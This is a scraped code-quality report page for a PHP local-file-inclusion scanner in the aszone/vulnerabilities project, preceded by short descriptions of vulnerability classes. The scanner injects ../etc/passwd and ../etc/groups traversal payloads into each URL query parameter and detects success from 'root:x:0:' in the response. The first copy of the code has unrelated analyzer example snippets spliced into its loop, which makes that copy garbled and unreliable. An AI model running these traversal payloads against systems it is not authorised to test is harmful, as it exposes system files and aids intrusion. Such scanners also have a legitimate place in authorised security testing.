Issues in LocalFileInclusion.php (master) - Issues in master - aszone/vulnerabilities - Measure and Improve Code Quality continuously with Scrutinizer

Issues (36)

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Cross-Site Scripting

Cross-Site Scripting enables an attacker to inject code into the response of a web-request that is viewed by other users. It can for example be used to bypass access controls, or even to take over other users' accounts.

File Exposure

File Exposure allows an attacker to gain access to local files that he should not be able to access. These files can for example include database credentials, or other configuration files.

File Manipulation

File Manipulation enables an attacker to write custom data to files. This potentially leads to injection of arbitrary code on the server.

Object Injection

Object Injection enables an attacker to inject an object into PHP code, and can lead to arbitrary code execution, file exposure, or file manipulation attacks.

Code Injection

Code Injection enables an attacker to execute arbitrary code on the server.

Response Splitting

Response Splitting can be used to send arbitrary responses.

File Inclusion

File Inclusion enables an attacker to inject custom files into PHP's file loading mechanism, either explicitly passed to include, or for example via PHP's auto-loading mechanism.

Command Injection

Command Injection enables an attacker to inject a shell command that is execute with the privileges of the web-server. This can be used to expose sensitive data, or gain access of your server.

SQL Injection

SQL Injection enables an attacker to execute arbitrary SQL code on your database server gaining access to user data, or manipulating user data.

XPath Injection

XPath Injection enables an attacker to modify the parts of XML document that are read. If that XML document is for example used for authentication, this can lead to further vulnerabilities similar to SQL Injection.

LDAP Injection

LDAP Injection enables an attacker to inject LDAP statements potentially granting permission to run unauthorized queries, or modify content inside the LDAP tree.

Header Injection

Other Vulnerability

This category comprises other attack vectors such as manipulating the PHP runtime, loading custom extensions, freezing the runtime, or similar.

Regex Injection

Regex Injection enables an attacker to execute arbitrary code in your PHP process.

XML Injection

XML Injection enables an attacker to read files on your local filesystem including configuration files, or can be abused to freeze your web-server process.

Variable Injection

Variable Injection enables an attacker to overwrite program variables with custom data, and can lead to further vulnerabilities.

Unfortunately, the security analysis is currently not available for your project. If you are a non-commercial open-source project, please contact support to gain access.

src/LocalFileInclusion.php (3 issues)

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<?php

namespace Aszone\Vulnerabilities;

use GuzzleHttp\ClientInterface;
use Psr\Log\LoggerInterface;
use Aszone\Vulnerabilities\Log\Logger;

class LocalFileInclusion implements VulnerabilityScanner
{
    const EXPLOIT1 = '../etc/passwd';
    const EXPLOIT2 = '../etc/groups';
    const EXPLOIT1REGEX = 'root:x:0:';
    const EXPLOIT2REGEX = 'root:x:0:';

    private $client;

    private $logger;

    public function __construct(ClientInterface $client, LoggerInterface $logger = null)
    {
        $this->client = $client;

        if (empty($logger)) {
            $logger = new Logger;
        }

        $this->logger = $logger;
    }

    public function isVulnerable($target)
    {
        if ($this->isLfiPossible($target)) {
            return $this->verify($target);
        }

        return false;
    }

    public function isLfiPossible($target)
    {
        return (bool) preg_match("/\?|(.+?)\=/", $target);
    }

    protected function verify($target)
    {
        $urls = $this->generateUrls($target);
        $this->logger->info('\n');

        foreach ($urls as $url) {
            if ($this->attack($url)) {
                $this->logger->info('Is Vull');

                return $url;
            }
        }

        return false;
    }

    protected function attack($url)
    {
        $this->logger->info('.');

        try {
            $body = $this->client->get($url)->getBody()->getContents();

            if ($body
                && $this->checkSuccess($body)
            ) {
                return $url;
            }
        } catch (\Exception $e) {
            $this->logger->error('#');
        }

        return false;
    }

    protected function checkSuccess($body)
    {
        return preg_match('/'.static::EXPLOIT1REGEX.'|'.static::EXPLOIT2REGEX.'/', $body);
    }

    public function generateUrls($target)
    {
        $this->logger->info('.\n'.$target);

        $urls1 = $this->generateUrlsByExploit($target, static::EXPLOIT1);
        $urls2 = $this->generateUrlsByExploit($target, static::EXPLOIT2);

        return array_merge($urls1, $urls2);
    }

    protected function generateUrlsByExploit($target, $exploit)
    {
        $explodeUrl = parse_url($target);
        $explodeQuery = explode('&', $explodeUrl['query']);

        foreach ($explodeQuery as $keyQuery => $query) {
            $explodeQueryEqual = explode('=', $query);
            $wordsValue[$explodeQueryEqual[0]] = $explodeQueryEqual[1];
        }

        foreach ($wordsValue as $keyValue => $value) {
function myFunction($a) {
    switch ($a) {
        case 'foo':
            $x = 1;
            break;

        case 'bar':
            $x = 2;
            break;
    }

    // $x is potentially undefined here.
    echo $x;
}
            $urls[] = str_replace($keyValue.'='.$value, $keyValue.'=??????????', $target);
foreach ($collection as $item) {
    $myArray['foo'] = $item->getFoo();

    if ($item->hasBar()) {
        $myArray['bar'] = $item->getBar();
    }

    // do something with $myArray
}
        }

        $urlFinal = [];
        foreach ($urls as $url) {
            $urlFinal[] = str_replace('??????????', $exploit, $url);
            $breakFolder = '../';

            for ($i = 0; $i < 10; ++$i) {
                $urlFinal[] = str_replace('??????????', $breakFolder.$exploit, $url);
                $breakFolder .= '../';
            }
        }

        return $urlFinal;
    }



}


1		<?php
2
3		namespace Aszone\Vulnerabilities;
4
5		use GuzzleHttp\ClientInterface;
6		use Psr\Log\LoggerInterface;
7		use Aszone\Vulnerabilities\Log\Logger;
8
9		class LocalFileInclusion implements VulnerabilityScanner
10		{
11		const EXPLOIT1 = '../etc/passwd';
12		const EXPLOIT2 = '../etc/groups';
13		const EXPLOIT1REGEX = 'root:x:0:';
14		const EXPLOIT2REGEX = 'root:x:0:';
15
16		private $client;
17
18		private $logger;
19
20	View Code Duplication	public function __construct(ClientInterface $client, LoggerInterface $logger = null)
21		{
22		$this->client = $client;
23
24		if (empty($logger)) {
25		$logger = new Logger;
26		}
27
28		$this->logger = $logger;
29		}
30
31		public function isVulnerable($target)
32		{
33		if ($this->isLfiPossible($target)) {
34		return $this->verify($target);
35		}
36
37		return false;
38		}
39
40		public function isLfiPossible($target)
41		{
42		return (bool) preg_match("/\?\|(.+?)\=/", $target);
43		}
44
45	View Code Duplication	protected function verify($target)
46		{
47		$urls = $this->generateUrls($target);
48		$this->logger->info('\n');
49
50		foreach ($urls as $url) {
51		if ($this->attack($url)) {
52		$this->logger->info('Is Vull');
53
54		return $url;
55		}
56		}
57
58		return false;
59		}
60
61	View Code Duplication	protected function attack($url)
62		{
63		$this->logger->info('.');
64
65		try {
66		$body = $this->client->get($url)->getBody()->getContents();
67
68		if ($body
69		&& $this->checkSuccess($body)
70		) {
71		return $url;
72		}
73		} catch (\Exception $e) {
74		$this->logger->error('#');
75		}
76
77		return false;
78		}
79
80		protected function checkSuccess($body)
81		{
82		return preg_match('/'.static::EXPLOIT1REGEX.'\|'.static::EXPLOIT2REGEX.'/', $body);
83		}
84
85	View Code Duplication	public function generateUrls($target)
86		{
87		$this->logger->info('.\n'.$target);
88
89		$urls1 = $this->generateUrlsByExploit($target, static::EXPLOIT1);
90		$urls2 = $this->generateUrlsByExploit($target, static::EXPLOIT2);
91
92		return array_merge($urls1, $urls2);
93		}
94
95		protected function generateUrlsByExploit($target, $exploit)
96		{
97		$explodeUrl = parse_url($target);
98		$explodeQuery = explode('&', $explodeUrl['query']);
99
100	View Code Duplication	foreach ($explodeQuery as $keyQuery => $query) {
101		$explodeQueryEqual = explode('=', $query);
102		$wordsValue[$explodeQueryEqual[0]] = $explodeQueryEqual[1];
103		}
104
105	View Code Duplication	foreach ($wordsValue as $keyValue => $value) {
		0 ignored issues – show Bug introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report Show Similar Issues like this The variable `$wordsValue` does not seem to be defined for all execution paths leading up to this point. If you define a variable conditionally, it can happen that it is not defined for all execution paths. Let’s take a look at an example: function myFunction($a) { switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; } // $x is potentially undefined here. echo $x; } In the above example, the variable `$x` is defined if you pass “foo” or “bar” as argument for `$a`. However, since the `switch` statement has no default case statement, if you pass any other value, the variable `$x` would be undefined. Available Fixes Check for existence of the variable explicitly: function myFunction($a) { switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; } if (isset($x)) { // Make sure it's always set. echo $x; } } Define a default value for the variable: function myFunction($a) { $x = ''; // Set a default which gets overridden for certain paths. switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; } echo $x; } Add a value for the missing path: function myFunction($a) { switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; // We add support for the missing case. default: $x = ''; break; } echo $x; } Loading history... Duplication introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report Show Similar Issues like this This code seems to be duplicated across your project. Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository. Loading history...
106		$urls[] = str_replace($keyValue.'='.$value, $keyValue.'=??????????', $target);
		0 ignored issues – show Coding Style Comprehensibility introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report Show Similar Issues like this `$urls` was never initialized. Although not strictly required by PHP, it is generally a good practice to add `$urls = array();` before regardless. Adding an explicit array definition is generally preferable to implicit array definition as it guarantees a stable state of the code. Let’s take a look at an example: foreach ($collection as $item) { $myArray['foo'] = $item->getFoo(); if ($item->hasBar()) { $myArray['bar'] = $item->getBar(); } // do something with $myArray } As you can see in this example, the array `$myArray` is initialized the first time when the foreach loop is entered. You can also see that the value of the `bar` key is only written conditionally; thus, its value might result from a previous iteration. This might or might not be intended. To make your intention clear, your code more readible and to avoid accidental bugs, we recommend to add an explicit initialization `$myArray = array()` either outside or inside the foreach loop. Loading history...
107		}
108
109		$urlFinal = [];
110	View Code Duplication	foreach ($urls as $url) {
111		$urlFinal[] = str_replace('??????????', $exploit, $url);
112		$breakFolder = '../';
113
114		for ($i = 0; $i < 10; ++$i) {
115		$urlFinal[] = str_replace('??????????', $breakFolder.$exploit, $url);
116		$breakFolder .= '../';
117		}
118		}
119
120		return $urlFinal;
121		}
122
123
124
125		}
126

aszone / vulnerabilities

Issues (36)

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src/LocalFileInclusion.php (3 issues)

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